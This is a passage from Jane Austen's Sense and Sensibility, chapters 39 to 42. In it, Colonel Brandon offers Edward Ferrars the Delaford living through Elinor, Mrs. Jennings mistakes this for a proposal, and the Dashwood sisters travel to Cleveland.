situation +is not...that it is not in the neighbourhood of..." + +"But it is in Somersetshire.--I cannot go +into Somersetshire.--There, where I looked forward +to going...No, Elinor, you cannot expect me to go there." + +Elinor would not argue upon the propriety of overcoming +such feelings;--she only endeavoured to counteract them by +working on others;--represented it, therefore, as a measure +which would fix the time of her returning to that dear mother, +whom she so much wished to see, in a more eligible, +more comfortable manner, than any other plan could do, +and perhaps without any greater delay. From Cleveland, +which was within a few miles of Bristol, the distance to +Barton was not beyond one day, though a long day's journey; +and their mother's servant might easily come there to attend +them down; and as there could be no occasion of their +staying above a week at Cleveland, they might now be at +home in little more than three weeks' time. As Marianne's +affection for her mother was sincere, it must triumph +with little difficulty, over the imaginary evils she had started. + +Mrs. Jennings was so far from being weary of her guest, +that she pressed them very earnestly to return with her again +from Cleveland. Elinor was grateful for the attention, +but it could not alter her design; and their mother's +concurrence being readily gained, every thing relative +to their return was arranged as far as it could be;-- +and Marianne found some relief in drawing up a statement +of the hours that were yet to divide her from Barton. + +"Ah! Colonel, I do not know what you and I shall +do without the Miss Dashwoods;"--was Mrs. Jennings's +address to him when he first called on her, after their +leaving her was settled--"for they are quite resolved +upon going home from the Palmers;--and how forlorn we +shall be, when I come back!--Lord! we shall sit and gape +at one another as dull as two cats." + +Perhaps Mrs. Jennings was in hopes, by this vigorous +sketch of their future ennui, to provoke him to make +that offer, which might give himself an escape from it;-- +and if so, she had soon afterwards good reason to think +her object gained; for, on Elinor's moving to the window +to take more expeditiously the dimensions of a print, +which she was going to copy for her friend, he followed +her to it with a look of particular meaning, and conversed +with her there for several minutes. The effect of his +discourse on the lady too, could not escape her observation, +for though she was too honorable to listen, and had even +changed her seat, on purpose that she might NOT hear, +to one close by the piano forte on which Marianne +was playing, she could not keep herself from seeing +that Elinor changed colour, attended with agitation, +and was too intent on what he said to pursue her employment.-- +Still farther in confirmation of her hopes, in the interval +of Marianne's turning from one lesson to another, +some words of the Colonel's inevitably reached her ear, +in which he seemed to be apologising for the badness +of his house. This set the matter beyond a doubt. +She wondered, indeed, at his thinking it necessary +to do so; but supposed it to be the proper etiquette. +What Elinor said in reply she could not distinguish, +but judged from the motion of her lips, that she did +not think THAT any material objection;--and Mrs. Jennings +commended her in her heart for being so honest. +They then talked on for a few minutes longer without her +catching a syllable, when another lucky stop in Marianne's +performance brought her these words in the Colonel's calm voice,-- + +"I am afraid it cannot take place very soon." + +Astonished and shocked at so unlover-like a speech, +she was almost ready to cry out, "Lord! what should +hinder it?"--but checking her desire, confined herself +to this silent ejaculation. + +"This is very strange!--sure he need not wait to be older." + +This delay on the Colonel's side, however, did not +seem to offend or mortify his fair companion in the least, +for on their breaking up the conference soon afterwards, +and moving different ways, Mrs. Jennings very plainly heard +Elinor say, and with a voice which shewed her to feel what she said, + +"I shall always think myself very much obliged to you." + +Mrs. Jennings was delighted with her gratitude, +and only wondered that after hearing such a sentence, +the Colonel should be able to take leave of them, as he +immediately did, with the utmost sang-froid, and go away +without making her any reply!--She had not thought her old +friend could have made so indifferent a suitor. + +What had really passed between them was to this effect. + +"I have heard," said he, with great compassion, +"of the injustice your friend Mr. Ferrars has suffered +from his family; for if I understand the matter right, +he has been entirely cast off by them for persevering +in his engagement with a very deserving young woman.-- +Have I been rightly informed?--Is it so?--" + +Elinor told him that it was. + +"The cruelty, the impolitic cruelty,"--he replied, +with great feeling,--"of dividing, or attempting to divide, +two young people long attached to each other, is terrible.-- +Mrs. Ferrars does not know what she may be doing--what +she may drive her son to. I have seen Mr. Ferrars two +or three times in Harley Street, and am much pleased +with him. He is not a young man with whom one can +be intimately acquainted in a short time, but I have +seen enough of him to wish him well for his own sake, +and as a friend of yours, I wish it still more. +I understand that he intends to take orders. Will you +be so good as to tell him that the living of Delaford, +now just vacant, as I am informed by this day's post, +is his, if he think it worth his acceptance--but THAT, +perhaps, so unfortunately circumstanced as he is now, +it may be nonsense to appear to doubt; I only wish it +were more valuable.-- It is a rectory, but a small one; +the late incumbent, I believe, did not make more than +200 L per annum, and though it is certainly capable +of improvement, I fear, not to such an amount as +to afford him a very comfortable income. Such as it is, +however, my pleasure in presenting him to it, +will be very great. Pray assure him of it." + +Elinor's astonishment at this commission could +hardly have been greater, had the Colonel been really +making her an offer of his hand. The preferment, +which only two days before she had considered as hopeless +for Edward, was already provided to enable him to marry;-- +and SHE, of all people in the world, was fixed on to +bestow it!--Her emotion was such as Mrs. Jennings had +attributed to a very different cause;--but whatever minor +feelings less pure, less pleasing, might have a share +in that emotion, her esteem for the general benevolence, +and her gratitude for the particular friendship, +which together prompted Colonel Brandon to this act, +were strongly felt, and warmly expressed. She thanked him +for it with all her heart, spoke of Edward's principles and +disposition with that praise which she knew them to deserve; +and promised to undertake the commission with pleasure, +if it were really his wish to put off so agreeable an office +to another. But at the same time, she could not help +thinking that no one could so well perform it as himself. +It was an office in short, from which, unwilling to give +Edward the pain of receiving an obligation from HER, +she would have been very glad to be spared herself;-- +but Colonel Brandon, on motives of equal delicacy, +declining it likewise, still seemed so desirous of its being +given through her means, that she would not on any account +make farther opposition. Edward, she believed, was still in +town, +and fortunately she had heard his address from Miss Steele. +She could undertake therefore to inform him of it, +in the course of the day. After this had been settled, +Colonel Brandon began to talk of his own advantage +in securing so respectable and agreeable a neighbour, +and THEN it was that he mentioned with regret, that the +house was small and indifferent;--an evil which Elinor, +as Mrs. Jennings had supposed her to do, made very light of, +at least as far as regarded its size. + +"The smallness of the house," said she, +"I cannot imagine any inconvenience to them, +for it will be in proportion to their family and income." + +By which the Colonel was surprised to find that SHE +was considering Mr. Ferrars's marriage as the certain +consequence of the presentation; for he did not suppose it +possible that Delaford living could supply such an income, +as anybody in his style of life would venture to settle on-- +and he said so. + +"This little rectory CAN do no more than make Mr. Ferrars +comfortable as a bachelor; it cannot enable him to marry. +I am sorry to say that my patronage ends with this; +and my interest is hardly more extensive. If, however, +by an unforeseen chance it should be in my power to serve +him farther, I must think very differently of him +from what I now do, if I am not as ready to be useful +to him then as I sincerely wish I could be at present. +What I am now doing indeed, seems nothing at all, +since it can advance him so little towards what must +be his principal, his only object of happiness. +His marriage must still be a distant good;--at least, +I am afraid it cannot take place very soon.--" + +Such was the sentence which, when misunderstood, +so justly offended the delicate feelings of Mrs. Jennings; +but after this narration of what really passed between +Colonel Brandon and Elinor, while they stood at the window, +the gratitude expressed by the latter on their parting, may +perhaps appear in general, not less reasonably excited, +nor less properly worded than if it had arisen from +an offer of marriage. + + + +CHAPTER 40 + + +"Well, Miss Dashwood," said Mrs. Jennings, +sagaciously smiling, as soon as the gentleman had withdrawn, +"I do not ask you what the Colonel has been saying to you; +for though, upon my honour, I TRIED to keep out of hearing, +I could not help catching enough to understand his business. +And I assure you I never was better pleased in my life, +and I wish you joy of it with all my heart." + +"Thank you, ma'am," said Elinor. "It is a matter +of great joy to me; and I feel the goodness of Colonel +Brandon most sensibly. There are not many men who would +act as he has done. Few people who have so compassionate +a heart! I never was more astonished in my life." + +"Lord! my dear, you are very modest. I an't the least +astonished at it in the world, for I have often thought +of late, there was nothing more likely to happen." + +"You judged from your knowledge of the Colonel's +general benevolence; but at least you could not foresee +that the opportunity would so very soon occur." + +"Opportunity!" repeated Mrs. Jennings--"Oh! as to that, +when a man has once made up his mind to such a thing, +somehow or other he will soon find an opportunity. +Well, my dear, I wish you joy of it again and again; +and if ever there was a happy couple in the world, I think +I shall soon know where to look for them." + +"You mean to go to Delaford after them I suppose," +said Elinor, with a faint smile. + +"Aye, my dear, that I do, indeed. And as to the house +being a bad one, I do not know what the Colonel would be at, +for it is as good a one as ever I saw." + +"He spoke of its being out of repair." + +"Well, and whose fault is that? why don't he repair it?-- +who should do it but himself?" + +They were interrupted by the servant's coming in to +announce the carriage being at the door; and Mrs. Jennings +immediately preparing to go, said,-- + +"Well, my dear, I must be gone before I have had half +my talk out. But, however, we may have it all over in +the evening; for we shall be quite alone. I do not ask +you to go with me, for I dare say your mind is too full +of the matter to care for company; and besides, you must +long to tell your sister all about it." + +Marianne had left the room before the conversation began. + +"Certainly, ma'am, I shall tell Marianne of it; +but I shall not mention it at present to any body else." + +"Oh! very well," said Mrs. Jennings rather disappointed. +"Then you would not have me tell it to Lucy, for I think +of going as far as Holborn to-day." + +"No, ma'am, not even Lucy if you please. +One day's delay will not be very material; and till I +have written to Mr. Ferrars, I think it ought not to be +mentioned to any body else. I shall do THAT directly. +It is of importance that no time should be lost with him, +for he will of course have much to do relative to +his ordination." + +This speech at first puzzled Mrs. Jennings exceedingly. +Why Mr. Ferrars was to have been written to about it +in such a hurry, she could not immediately comprehend. +A few moments' reflection, however, produced a very happy idea, +and she exclaimed;-- + +"Oh, ho!--I understand you. Mr. Ferrars is to be +the man. Well, so much the better for him. Ay, to be sure, +he must be ordained in readiness; and I am very glad +to find things are so forward between you. But, my dear, +is not this rather out of character? Should not the Colonel +write himself?--sure, he is the proper person." + +Elinor did not quite understand the beginning of +Mrs. Jennings's speech, neither did she think it worth +inquiring into; and therefore only replied to its conclusion. + +"Colonel Brandon is so delicate a man, that he rather +wished any one to announce his intentions to Mr. Ferrars +than himself." + +"And so YOU are forced to do it. Well THAT is an odd +kind of delicacy! However, I will not disturb you (seeing +her preparing to write.) You know your own concerns best. +So goodby, my dear. I have not heard of any thing to +please me so well since Charlotte was brought to bed." + +And away she went; but returning again in a moment, + +"I have just been thinking of Betty's sister, my dear. +I should be very glad to get her so good a mistress. +But whether she would do for a lady's maid, I am sure I +can't tell. She is an excellent housemaid, and works +very well at her needle. However, you will think of all +that at your leisure." + +"Certainly, ma'am," replied Elinor, not hearing +much of what she said, and more anxious to be alone, +than to be mistress of the subject. + +How she should begin--how she should express +herself in her note to Edward, was now all her concern. +The particular circumstances between them made +a difficulty of that which to any other person would +have been the easiest thing in the world; but she +equally feared to say too much or too little, and sat +deliberating over her paper, with the pen in her band, +till broken in on by the entrance of Edward himself. + +He had met Mrs. Jennings at the door in her way to +the carriage, as he came to leave his farewell card; and she, +after apologising for not returning herself, had obliged +him to enter, by saying that Miss Dashwood was above, +and wanted to speak with him on very particular business. + +Elinor had just been congratulating herself, +in the midst of her perplexity, that however difficult it +might be to express herself properly by letter, it was +at least preferable to giving the information by word +of mouth, when her visitor entered, to force her upon this +greatest exertion of all. Her astonishment and confusion +were very great on his so sudden appearance. She had +not seen him before since his engagement became public, +and therefore not since his knowing her to be acquainted +with it; which, with the consciousness of what she +had been thinking of, and what she had to tell him, +made her feel particularly uncomfortable for some minutes. +He too was much distressed; and they sat down together +in a most promising state of embarrassment.--Whether he +had asked her pardon for his intrusion on first coming +into the room, he could not recollect; but determining +to be on the safe side, he made his apology in form +as soon as he could say any thing, after taking a chair. + +"Mrs. Jennings told me," said he, "that you wished +to speak with me, at least I understood her so--or I +certainly should not have intruded on you in such a manner; +though at the same time, I should have been extremely +sorry to leave London without seeing you and your sister; +especially as it will most likely be some time--it +is not probable that I should soon have the pleasure +of meeting you again. I go to Oxford tomorrow." + +"You would not have gone, however," said Elinor, +recovering herself, and determined to get over what she +so much dreaded as soon as possible, "without receiving +our good wishes, even if we had not been able to give them +in person. Mrs. Jennings was quite right in what she said. +I have something of consequence to inform you of, +which I was on the point of communicating by paper. +I am charged with a most agreeable office (breathing +rather faster than usual as she spoke.) Colonel Brandon, +who was here only ten minutes ago, has desired me to say, +that understanding you mean to take orders, he has +great pleasure in offering you the living of Delaford +now just vacant, and only wishes it were more valuable. +Allow me to congratulate you on having so respectable +and well-judging a friend, and to join in his wish that +the living--it is about two hundred a-year--were much +more considerable, and such as might better enable you +to--as might be more than a temporary accommodation to +yourself--such, in short, as might establish all your views +of happiness." + +What Edward felt, as he could not say it himself, +it cannot be expected that any one else should say for him. +He LOOKED all the astonishment which such unexpected, +such unthought-of information could not fail of exciting; +but he said only these two words, + +"Colonel Brandon!" + +"Yes," continued Elinor, gathering more resolution, +as some of the worst was over, "Colonel Brandon means +it as a testimony of his concern for what has lately +passed--for the cruel situation in which the unjustifiable +conduct of your family has placed you--a concern +which I am sure Marianne, myself, and all your friends, +must share; and likewise as a proof of his high esteem +for your general character, and his particular approbation +of your behaviour on the present occasion." + +"Colonel Brandon give ME a living!--Can it be possible?" + +"The unkindness of your own relations has made you +astonished to find friendship any where." + +"No," replied be, with sudden consciousness, "not to +find it in YOU; for I cannot be ignorant that to you, +to your goodness, I owe it all.--I feel it--I would express +it if I could--but, as you well know, I am no orator." + +"You are very much mistaken. I do assure you +that you owe it entirely, at least almost entirely, +to your own merit, and Colonel Brandon's discernment +of it. I have had no hand in it. I did not even know, +till I understood his design, that the living was vacant; +nor had it ever occurred to me that he might have +had such a living in his gift. As a friend of mine, +of my family, he may, perhaps--indeed I know he HAS, +still greater pleasure in bestowing it; but, upon my word, +you owe nothing to my solicitation." + +Truth obliged her to acknowledge some small share +in the action, but she was at the same time so unwilling +to appear as the benefactress of Edward, that she acknowledged +it with hesitation; which probably contributed to fix +that suspicion in his mind which had recently entered it. +For a short time he sat deep in thought, after Elinor had ceased +to speak;--at last, and as if it were rather an effort, he said, + +"Colonel Brandon seems a man of great worth and respectability. +I have always heard him spoken of as such, and your brother +I know esteems him highly. He is undoubtedly a sensible man, +and in his manners perfectly the gentleman." + +"Indeed," replied Elinor, "I believe that you will find him, +on farther acquaintance, all that you have heard him to be, +and as you will be such very near neighbours (for I understand +the parsonage is almost close to the mansion-house,) +it is particularly important that he SHOULD be all this." + +Edward made no answer; but when she had turned +away her head, gave her a look so serious, so earnest, +so uncheerful, as seemed to say, that he might hereafter wish +the distance between the parsonage and the mansion-house +much greater. + +"Colonel Brandon, I think, lodges in St. James Street," +said he, soon afterwards, rising from his chair. + +Elinor told him the number of the house. + +"I must hurry away then, to give him those thanks +which you will not allow me to give YOU; to assure him +that he has made me a very--an exceedingly happy man." + +Elinor did not offer to detain him; and they parted, +with a very earnest assurance on HER side of her unceasing +good wishes for his happiness in every change of situation +that might befall him; on HIS, with rather an attempt to +return the same good will, than the power of expressing it. + +"When I see him again," said Elinor to herself, +as the door shut him out, "I shall see him the husband +of Lucy." + +And with this pleasing anticipation, she sat down +to reconsider the past, recall the words and endeavour +to comprehend all the feelings of Edward; and, of course, +to reflect on her own with discontent. + +When Mrs. Jennings came home, though she returned +from seeing people whom she had never seen before, +and of whom therefore she must have a great deal to say, +her mind was so much more occupied by the important secret +in her possession, than by anything else, that she +reverted to it again as soon as Elinor appeared. + +"Well, my dear," she cried, "I sent you up to the +young man. Did not I do right?--And I suppose you had +no great difficulty--You did not find him very unwilling +to accept your proposal?" + +"No, ma'am; THAT was not very likely." + +"Well, and how soon will he be ready?--For it seems +all to depend upon that." + +"Really," said Elinor, "I know so little of these kind +of forms, that I can hardly even conjecture as to the time, +or the preparation necessary; but I suppose two or three +months will complete his ordination." + +"Two or three months!" cried Mrs. Jennings; "Lord! my dear, +how calmly you talk of it; and can the Colonel wait two +or three months! Lord bless me!--I am sure it would put ME +quite out of patience!--And though one would be very glad +to do a kindness by poor Mr. Ferrars, I do think it is +not worth while to wait two or three months for him. +Sure somebody else might be found that would do as well; +somebody that is in orders already." + +"My dear ma'am," said Elinor, "what can you be thinking of?-- +Why, Colonel Brandon's only object is to be of use to Mr. Ferrars." + +"Lord bless you, my dear!--Sure you do not mean to persuade +me that the Colonel only marries you for the sake of giving +ten guineas to Mr. Ferrars!" + +The deception could not continue after this; +and an explanation immediately took place, by which both +gained considerable amusement for the moment, without any +material loss of happiness to either, for Mrs. Jennings +only exchanged one form of delight for another, and still +without forfeiting her expectation of the first. + +"Aye, aye, the parsonage is but a small one," said she, +after the first ebullition of surprise and satisfaction +was over, "and very likely MAY be out of repair; but to hear +a man apologising, as I thought, for a house that to my +knowledge has five sitting rooms on the ground-floor, and I +think the housekeeper told me could make up fifteen beds!-- +and to you too, that had been used to live in Barton cottage!-- +It seems quite ridiculous. But, my dear, we must +touch up the Colonel to do some thing to the parsonage, +and make it comfortable for them, before Lucy goes to it." + +"But Colonel Brandon does not seem to have any idea +of the living's being enough to allow them to marry." + +"The Colonel is a ninny, my dear; because he has two +thousand a-year himself, he thinks that nobody else can marry +on less. Take my word for it, that, if I am alive, I shall +be paying a visit at Delaford Parsonage before Michaelmas; +and I am sure I sha'nt go if Lucy an't there." + +Elinor was quite of her opinion, as to the probability +of their not waiting for any thing more. + + + +CHAPTER 41 + + +Edward, having carried his thanks to Colonel Brandon, +proceeded with his happiness to Lucy; and such was the +excess of it by the time he reached Bartlett's Buildings, +that she was able to assure Mrs. Jennings, who called +on her again the next day with her congratulations, +that she had never seen him in such spirits before +in her life. + +Her own happiness, and her own spirits, were at +least very certain; and she joined Mrs. Jennings most +heartily in her expectation of their being all comfortably +together in Delaford Parsonage before Michaelmas. +So far was she, at the same time, from any backwardness +to give Elinor that credit which Edward WOULD give her, +that she spoke of her friendship for them both with the most +grateful warmth, was ready to own all their obligation +to her, and openly declared that no exertion for their +good on Miss Dashwood's part, either present or future, +would ever surprise her, for she believed her capable of +doing any thing in the world for those she really valued. +As for Colonel Brandon, she was not only ready to worship +him as a saint, but was moreover truly anxious that +he should be treated as one in all worldly concerns; +anxious that his tithes should be raised to the utmost; +and scarcely resolved to avail herself, at Delaford, +as far as she possibly could, of his servants, his carriage, +his cows, and his poultry. + +It was now above a week since John Dashwood had +called in Berkeley Street, and as since that time no notice +had been taken by them of his wife's indisposition, +beyond one verbal enquiry, Elinor began to feel it +necessary to pay her a visit.--This was an obligation, +however, which not only opposed her own inclination, +but which had not the assistance of any encouragement +from her companions. Marianne, not contented with +absolutely refusing to go herself, was very urgent +to prevent her sister's going at all; and Mrs. Jennings, +though her carriage was always at Elinor's service, +so very much disliked Mrs. John Dashwood, that not even her +curiosity to see how she looked after the late discovery, +nor her strong desire to affront her by taking Edward's part, +could overcome her unwillingness to be in her company again. +The consequence was, that Elinor set out by herself +to pay a visit, for which no one could really have +less inclination, and to run the risk of a tete-a-tete +with a woman, whom neither of the others had so much +reason to dislike. + +Mrs. Dashwood was denied; but before the carriage could +turn from the house, her husband accidentally came out. +He expressed great pleasure in meeting Elinor, told her +that he had been just going to call in Berkeley Street, +and, assuring her that Fanny would be very glad to see her, +invited her to come in. + +They walked up stairs in to the drawing-room.--Nobody was there. + +"Fanny is in her own room, I suppose," said he:--"I +will go to her presently, for I am sure she will not +have the least objection in the world to seeing YOU.-- +Very far from it, indeed. NOW especially there +cannot be--but however, you and Marianne were always +great favourites.--Why would not Marianne come?"-- + +Elinor made what excuse she could for her. + +"I am not sorry to see you alone," he replied, +"for I have a good deal to say to you. This living +of Colonel Brandon's--can it be true?--has he really given +it to Edward?--I heard it yesterday by chance, and was +coming to you on purpose to enquire farther about it." + +"It is perfectly true.--Colonel Brandon has given +the living of Delaford to Edward." + +"Really!--Well, this is very astonishing!--no +relationship!--no connection between them!--and now +that livings fetch such a price!--what was the value of this?" + +"About two hundred a year." + +"Very well--and for the next presentation to a living +of that value--supposing the late incumbent to have +been old and sickly, and likely to vacate it soon--he +might have got I dare say--fourteen hundred pounds. +And how came he not to have settled that matter before this +person's death?--NOW indeed it would be too late to sell it, +but a man of Colonel Brandon's sense!--I wonder he should +be so improvident in a point of such common, such natural, +concern!--Well, I am convinced that there is a vast deal +of inconsistency in almost every human character. I suppose, +however--on recollection--that the case may probably be THIS. +Edward is only to hold the living till the person to whom +the Colonel has really sold the presentation, is old enough +to take it.--Aye, aye, that is the fact, depend upon it." + +Elinor contradicted it, however, very positively; +and by relating that she had herself been employed +in conveying the offer from Colonel Brandon to Edward, +and, therefore, must understand the terms on which it +was given, obliged him to submit to her authority. + +"It is truly astonishing!"--he cried, after hearing +what she said--"what could be the Colonel's motive?" + +"A very simple one--to be of use to Mr. Ferrars." + +"Well, well; whatever Colonel Brandon may be, +Edward is a very lucky man.--You will not mention the matter +to Fanny, however, for though I have broke it to her, +and she bears it vastly well,--she will not like to hear +it much talked of." + +Elinor had some difficulty here to refrain from observing, +that she thought Fanny might have borne with composure, +an acquisition of wealth to her brother, by which neither +she nor her child could be possibly impoverished. + +"Mrs. Ferrars," added he, lowering his voice to the +tone becoming so important a subject, "knows nothing +about it at present, and I believe it will be best to +keep it entirely concealed from her as long as may be.-- +When the marriage takes place, I fear she must hear +of it all." + +"But why should such precaution be used?--Though +it is not to be supposed that Mrs. Ferrars can have +the smallest satisfaction in knowing that her son has +money enough to live upon,--for THAT must be quite +out of the question; yet why, upon her late behaviour, +is she supposed to feel at all?--She has done with her +son, she cast him off for ever, and has made all those +over whom she had any influence, cast him off likewise. +Surely, after doing so, she cannot be imagined liable +to any impression of sorrow or of joy on his account-- +she cannot be interested in any thing that befalls him.-- +She would not be so weak as to throw away the comfort +of a child, and yet retain the anxiety of a parent!" + +"Ah! Elinor," said John, "your reasoning is very good, +but it is founded on ignorance of human nature. +When Edward's unhappy match takes place, depend upon it +his mother will feel as much as if she had never discarded him; +and, therefore every circumstance that may accelerate that +dreadful event, must be concealed from her as much as possible. +Mrs. Ferrars can never forget that Edward is her son." + +"You surprise me; I should think it must nearly +have escaped her memory by THIS time." + +"You wrong her exceedingly. Mrs. Ferrars is one +of the most affectionate mothers in the world." + +Elinor was silent. + +"We think NOW,"--said Mr. Dashwood, after a short pause, +"of ROBERT'S marrying Miss Morton." + +Elinor, smiling at the grave and decisive importance +of her brother's tone, calmly replied, + +"The lady, I suppose, has no choice in the affair." + +"Choice!--how do you mean?" + +"I only mean that I suppose, from your manner +of speaking, it must be the same to Miss Morton whether +she marry Edward or Robert." + +"Certainly, there can be no difference; for Robert +will now to all intents and purposes be considered +as the eldest son;--and as to any thing else, they are +both very agreeable young men: I do not know that one +is superior to the other." + +Elinor said no more, and John was also for a short +time silent.--His reflections ended thus. + +"Of ONE thing, my dear sister," kindly taking her hand, +and speaking in an awful whisper,--"I may assure you;-- +and I WILL do it, because I know it must gratify you. +I have good reason to think--indeed I have it from the +best authority, or I should not repeat it, for otherwise +it would be very wrong to say any thing about it--but +I have it from the very best authority--not that I ever +precisely heard Mrs. Ferrars say it herself--but her +daughter DID, and I have it from her--That in short, +whatever objections there might be against a certain--a +certain connection--you understand me--it would have been +far preferable to her, it would not have given her half +the vexation that THIS does. I was exceedingly pleased +to hear that Mrs. Ferrars considered it in that light-- +a very gratifying circumstance you know to us all. +'It would have been beyond comparison,' she said, 'the least +evil of the two, and she would be glad to compound NOW +for nothing worse.' But however, all that is quite out +of the question--not to be thought of or mentioned-- +as to any attachment you know--it never could be--all +that is gone by. But I thought I would just tell you +of this, because I knew how much it must please you. +Not that you have any reason to regret, my dear Elinor. There +is no doubt of your doing exceedingly well--quite as well, +or better, perhaps, all things considered. Has Colonel +Brandon been with you lately?" + +Elinor had heard enough, if not to gratify her vanity, +and raise her self-importance, to agitate her nerves +and fill her mind;--and she was therefore glad to be +spared from the necessity of saying much in reply herself, +and from the danger of hearing any thing more from +her brother, by the entrance of Mr. Robert Ferrars. +After a few moments' chat, John Dashwood, recollecting that +Fanny was yet uninformed of her sister's being there, +quitted the room in quest of her; and Elinor was left +to improve her acquaintance with Robert, who, by the +gay unconcern, the happy self-complacency of his manner +while enjoying so unfair a division of his mother's love +and liberality, to the prejudice of his banished brother, +earned only by his own dissipated course of life, and that +brother's integrity, was confirming her most unfavourable +opinion of his head and heart. + +They had scarcely been two minutes by themselves, +before he began to speak of Edward; for he, too, had heard +of the living, and was very inquisitive on the subject. +Elinor repeated the particulars of it, as she had given them +to John; and their effect on Robert, though very different, +was not less striking than it had been on HIM. He laughed +most immoderately. The idea of Edward's being a clergyman, +and living in a small parsonage-house, diverted him +beyond measure;--and when to that was added the fanciful +imagery of Edward reading prayers in a white surplice, +and publishing the banns of marriage between John Smith and +Mary Brown, he could conceive nothing more ridiculous. + +Elinor, while she waited in silence and immovable +gravity, the conclusion of such folly, could not restrain +her eyes from being fixed on him with a look that spoke +all the contempt it excited. It was a look, however, +very well bestowed, for it relieved her own feelings, and gave +no intelligence to him. He was recalled from wit to wisdom, +not by any reproof of her's, but by his own sensibility. + +"We may treat it as a joke," said he, at last, +recovering from the affected laugh which had considerably +lengthened out the genuine gaiety of the moment--"but, upon +my soul, it is a most serious business. Poor Edward! +he is ruined for ever. I am extremely sorry for it-- +for I know him to be a very good-hearted creature; as +well-meaning a fellow perhaps, as any in the world. +You must not judge of him, Miss Dashwood, from YOUR +slight acquaintance.--Poor Edward!--His manners are certainly +not the happiest in nature.--But we are not all born, +you know, with the same powers,--the same address.-- +Poor fellow!--to see him in a circle of strangers!-- +to be sure it was pitiable enough!--but upon my soul, +I believe he has as good a heart as any in the kingdom; +and I declare and protest to you I never was so shocked in my +life, as when it all burst forth. I could not believe it.-- +My mother was the first person who told me of it; +and I, feeling myself called on to act with resolution, +immediately said to her, 'My dear madam, I do not know +what you may intend to do on the occasion, but as for myself, +I must say, that if Edward does marry this young woman, +I never will see him again.' That was what I said immediately.-- +I was most uncommonly shocked, indeed!--Poor Edward!--he has +done for himself completely--shut himself out for ever from +all decent society!--but, as I directly said to my mother, +I am not in the least surprised at it; from his style +of education, it was always to be expected. My poor mother +was half frantic." + +"Have you ever seen the lady?" + +"Yes; once, while she was staying in this house, +I happened to drop in for ten minutes; and I saw +quite enough of her. The merest awkward country girl, +without style, or elegance, and almost without beauty.-- +I remember her perfectly. Just the kind of girl I +should suppose likely to captivate poor Edward. +I offered immediately, as soon as my mother related +the affair to me, to talk to him myself, and dissuade +him from the match; but it was too late THEN, I found, +to do any thing, for unluckily, I was not in the way +at first, and knew nothing of it till after the breach +had taken place, when it was not for me, you know, +to interfere. But had I been informed of it a few +hours earlier--I think it is most probable--that something +might have been hit on. I certainly should have represented +it to Edward in a very strong light. 'My dear fellow,' +I should have said, 'consider what you are doing. +You are making a most disgraceful connection, and such a one +as your family are unanimous in disapproving.' I cannot +help thinking, in short, that means might have been found. +But now it is all too late. He must be starved, you know;-- +that is certain; absolutely starved." + +He had just settled this point with great composure, +when the entrance of Mrs. John Dashwood put an end to the +subject. +But though SHE never spoke of it out of her own family, +Elinor could see its influence on her mind, in the something +like confusion of countenance with which she entered, +and an attempt at cordiality in her behaviour to herself. +She even proceeded so far as to be concerned to find +that Elinor and her sister were so soon to leave town, +as she had hoped to see more of them;--an exertion +in which her husband, who attended her into the room, +and hung enamoured over her accents, seemed to distinguish +every thing that was most affectionate and graceful. + + + +CHAPTER 42 + + +One other short call in Harley Street, in which Elinor +received her brother's congratulations on their travelling +so far towards Barton without any expense, and on Colonel +Brandon's being to follow them to Cleveland in a day or two, +completed the intercourse of the brother and sisters +in town;--and a faint invitation from Fanny, to come +to Norland whenever it should happen to be in their way, +which of all things was the most unlikely to occur, +with a more warm, though less public, assurance, from John +to Elinor, of the promptitude with which he should come +to see her at Delaford, was all that foretold any meeting +in the country. + +It amused her to observe that all her friends seemed +determined to send her to Delaford;--a place, in which, +of all others, she would now least chuse to visit, +or wish to reside; for not only was it considered as +her future home by her brother and Mrs. Jennings, but even Lucy, +when they parted, gave her a pressing invitation to visit her there. + +Very early in April, and tolerably early in the day, +the two parties from Hanover Square and Berkeley Street set +out from their respective homes, to meet, by appointment, +on the road. For the convenience of Charlotte and her child, +they were to be more than two days on their journey, +and Mr. Palmer, travelling more expeditiously with Colonel Brandon, +was to join them at Cleveland soon after their arrival. + +Marianne, few as had been her hours of comfort +in London, and eager as she had long been to quit it, +could not, when it came to the point, bid adieu to +the house in which she had for the last time enjoyed +those hopes, and that confidence, in Willoughby, +which were now extinguished for ever, without great pain. +Nor could she leave the place in which Willoughby remained, +busy in new engagements, and new schemes, in which SHE +could have no share, without shedding many tears. + +Elinor's satisfaction, at the moment of removal, +was more positive. She had no such object for her lingering +thoughts to fix on, she left no creature behind, from whom +it would give her a moment's regret to be divided for ever, +she was pleased to be free herself from the persecution +of Lucy's friendship, she was grateful for bringing +her sister away unseen by Willoughby since his marriage, +and she looked forward with hope to what a few months +of tranquility at Barton might do towards restoring +Marianne's peace of mind, and confirming her own. + +Their journey was safely performed. The second +day brought them into the cherished, or the prohibited, +county of Somerset, for as such was it dwelt on by turns +in Marianne's imagination; and in the forenoon of the third +they drove up to Cleveland. + +Cleveland was a spacious, modern-built house, +situated on a sloping lawn. It had no park, but the +pleasure-grounds were tolerably extensive; and like +every other place of the same degree of importance, +it had its open shrubbery, and closer wood walk, +a road of smooth gravel winding round a plantation, +led to the front, the lawn was dotted over with timber, +the house itself was under the guardianship of the fir, +the mountain-ash, and the acacia, and a thick screen of +them altogether, interspersed with tall Lombardy poplars, +shut out the offices. + +Marianne entered the house with a heart swelling +with emotion from the consciousness of being only eighty +miles from Barton, and not thirty from Combe Magna; +and before she had been five minutes within its walls, +while the others were busily helping Charlotte to show +her child to the housekeeper, she quitted it again, +stealing away through the winding shrubberies, now just +beginning to be in beauty, to gain a distant eminence; +where, from its Grecian temple, her eye, wandering over +a wide tract of country to the south-east, could fondly +rest on the farthest ridge of hills in the horizon, +and fancy that from their summits Combe Magna might be seen. + +In such moments of precious, invaluable misery, +she rejoiced in tears of agony to be at Cleveland; +and as she returned by a different circuit to the house, +feeling all the happy privilege of country liberty, +of wandering from place to place in free and luxurious solitude, +she resolved to spend almost every hour of every day +while she remained with the Palmers, in the indulgence of +such solitary rambles. + +She returned just in time to join the others +as they quitted the house, on an excursion through its +more immediate premises; and the rest of the morning was +easily whiled away, in lounging round the kitchen garden, +examining the bloom upon its walls, and listening to the +gardener's lamentations upon blights, in dawdling through +the green-house, where the loss of her favourite plants, +unwarily exposed, and nipped by the lingering frost, +raised the laughter of Charlotte,--and in visiting her +poultry-yard, where, in the disappointed hopes of her +dairy-maid, by hens forsaking their nests, or being +stolen by a fox, or in the rapid decrease of a promising +young brood, she found fresh sources of merriment. + +The morning was fine and dry, and Marianne, +in her plan of employment abroad, had not calculated +for any change of weather during their stay at Cleveland. +With great 